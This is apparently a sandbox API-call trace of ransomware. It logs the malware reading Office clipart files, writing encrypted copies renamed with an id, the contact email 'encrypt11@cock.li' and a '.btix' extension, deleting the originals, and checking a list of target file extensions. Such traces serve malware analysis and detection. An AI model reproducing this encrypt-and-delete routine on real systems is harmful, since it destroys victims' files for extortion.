lpString2=".WMF") returned -1 [0143.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.515] lstrlenW (lpString=".jpg") returned 4 [0143.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.516] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.516] lstrlenW (lpString="J0105388.WMF") returned 12 [0143.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.517] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=8252) returned 1 [0143.517] CloseHandle (hObject=0x530) returned 1 [0143.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0143.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.520] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.520] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.521] GetLastError () returned 0x0 [0143.521] ReadFile (in: hFile=0x530, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x203c, lpOverlapped=0x0) returned 1 [0143.523] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2040, lpOverlapped=0x0) returned 1 [0143.527] ReadFile (in: hFile=0x530, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.527] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.527] SetEndOfFile (hFile=0x508) returned 1 [0143.528] CloseHandle (hObject=0x508) returned 1 [0143.528] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.528] SetEndOfFile (hFile=0x530) returned 1 [0143.533] CloseHandle (hObject=0x530) returned 1 [0143.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0143.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.743] lstrlenW (lpString=".doc") returned 4 [0143.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.743] lstrlenW (lpString=".docx") returned 5 [0143.743] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.743] lstrlenW (lpString=".pdf") returned 4 [0143.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.743] lstrlenW (lpString=".xls") returned 4 [0143.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.743] lstrlenW (lpString=".xlsx") returned 5 [0143.743] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.743] lstrlenW (lpString=".ppt") returned 4 [0143.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.743] lstrlenW (lpString=".zip") returned 4 [0143.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.743] lstrlenW (lpString=".rar") returned 4 [0143.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.743] lstrlenW (lpString=".bz2") returned 4 [0143.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.743] lstrlenW (lpString=".7z") returned 3 [0143.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.743] lstrlenW (lpString=".dbf") returned 4 [0143.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.743] lstrlenW (lpString=".1cd") returned 4 [0143.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.743] lstrlenW (lpString=".jpg") returned 4 [0143.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.744] lstrlenW (lpString=".doc") returned 4 [0143.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString=".docx") returned 5 [0143.744] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.744] lstrlenW (lpString=".pdf") returned 4 [0143.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString=".xls") returned 4 [0143.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.744] lstrlenW (lpString=".xlsx") returned 5 [0143.744] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.744] lstrlenW (lpString=".ppt") returned 4 [0143.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.744] lstrlenW (lpString=".zip") returned 4 [0143.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.744] lstrlenW (lpString=".rar") returned 4 [0143.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString=".bz2") returned 4 [0143.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString=".7z") returned 3 [0143.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.744] lstrlenW (lpString=".dbf") returned 4 [0143.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.744] lstrlenW (lpString=".1cd") returned 4 [0143.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0143.744] lstrlenW (lpString=".jpg") returned 4 [0143.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.745] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.745] lstrlenW (lpString="J0105390.WMF") returned 12 [0143.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0143.776] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4944) returned 1 [0143.777] CloseHandle (hObject=0x54c) returned 1 [0143.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0143.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0143.777] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.777] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.778] GetLastError () returned 0x0 [0143.778] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1350, lpOverlapped=0x0) returned 1 [0143.816] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1360, lpOverlapped=0x0) returned 1 [0143.817] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.817] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.817] SetEndOfFile (hFile=0x38c) returned 1 [0143.817] CloseHandle (hObject=0x38c) returned 1 [0143.818] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.818] SetEndOfFile (hFile=0x54c) returned 1 [0143.820] CloseHandle (hObject=0x54c) returned 1 [0143.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0143.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.821] lstrlenW (lpString=".doc") returned 4 [0143.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.821] lstrlenW (lpString=".docx") returned 5 [0143.821] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0143.821] lstrlenW (lpString=".pdf") returned 4 [0143.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.821] lstrlenW (lpString=".xls") returned 4 [0143.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.821] lstrlenW (lpString=".xlsx") returned 5 [0143.821] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0143.821] lstrlenW (lpString=".ppt") returned 4 [0143.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.821] lstrlenW (lpString=".zip") returned 4 [0143.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.821] lstrlenW (lpString=".rar") returned 4 [0143.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.821] lstrlenW (lpString=".bz2") returned 4 [0143.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.821] lstrlenW (lpString=".7z") returned 3 [0143.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.821] lstrlenW (lpString=".dbf") returned 4 [0143.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.822] lstrlenW (lpString=".1cd") returned 4 [0143.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.822] lstrlenW (lpString=".jpg") returned 4 [0143.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.822] lstrlenW (lpString=".doc") returned 4 [0143.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.822] lstrlenW (lpString=".docx") returned 5 [0143.822] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0143.822] lstrlenW (lpString=".pdf") returned 4 [0143.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.822] lstrlenW (lpString=".xls") returned 4 [0143.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.822] lstrlenW (lpString=".xlsx") returned 5 [0143.822] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0143.822] lstrlenW (lpString=".ppt") returned 4 [0143.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.822] lstrlenW (lpString=".zip") returned 4 [0143.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.822] lstrlenW (lpString=".rar") returned 4 [0143.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.822] lstrlenW (lpString=".bz2") returned 4 [0143.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.822] lstrlenW (lpString=".7z") returned 3 [0143.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.823] lstrlenW (lpString=".dbf") returned 4 [0143.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.823] lstrlenW (lpString=".1cd") returned 4 [0143.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0143.823] lstrlenW (lpString=".jpg") returned 4 [0143.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.823] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.823] lstrlenW (lpString="J0105398.WMF") returned 12 [0143.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0143.824] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3328) returned 1 [0143.824] CloseHandle (hObject=0x54c) returned 1 [0143.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0143.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0143.825] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.825] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.826] GetLastError () returned 0x0 [0143.826] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xd00, lpOverlapped=0x0) returned 1 [0143.865] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xd10, lpOverlapped=0x0) returned 1 [0143.868] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.868] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.869] SetEndOfFile (hFile=0x38c) returned 1 [0143.880] CloseHandle (hObject=0x38c) returned 1 [0143.880] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.880] SetEndOfFile (hFile=0x54c) returned 1 [0143.909] CloseHandle (hObject=0x54c) returned 1 [0143.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0144.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.161] lstrlenW (lpString=".doc") returned 4 [0144.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.161] lstrlenW (lpString=".docx") returned 5 [0144.161] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.161] lstrlenW (lpString=".pdf") returned 4 [0144.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString=".xls") returned 4 [0144.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.162] lstrlenW (lpString=".xlsx") returned 5 [0144.162] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.162] lstrlenW (lpString=".ppt") returned 4 [0144.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.162] lstrlenW (lpString=".zip") returned 4 [0144.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.162] lstrlenW (lpString=".rar") returned 4 [0144.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString=".bz2") returned 4 [0144.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString=".7z") returned 3 [0144.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.162] lstrlenW (lpString=".dbf") returned 4 [0144.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.162] lstrlenW (lpString=".1cd") returned 4 [0144.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.162] lstrlenW (lpString=".jpg") returned 4 [0144.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.162] lstrlenW (lpString=".doc") returned 4 [0144.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString=".docx") returned 5 [0144.162] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.162] lstrlenW (lpString=".pdf") returned 4 [0144.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.162] lstrlenW (lpString=".xls") returned 4 [0144.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.162] lstrlenW (lpString=".xlsx") returned 5 [0144.162] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.163] lstrlenW (lpString=".ppt") returned 4 [0144.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.163] lstrlenW (lpString=".zip") returned 4 [0144.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.163] lstrlenW (lpString=".rar") returned 4 [0144.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.163] lstrlenW (lpString=".bz2") returned 4 [0144.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.163] lstrlenW (lpString=".7z") returned 3 [0144.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.163] lstrlenW (lpString=".dbf") returned 4 [0144.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.163] lstrlenW (lpString=".1cd") returned 4 [0144.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0144.163] lstrlenW (lpString=".jpg") returned 4 [0144.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.163] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.163] lstrlenW (lpString="J0105520.WMF") returned 12 [0144.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 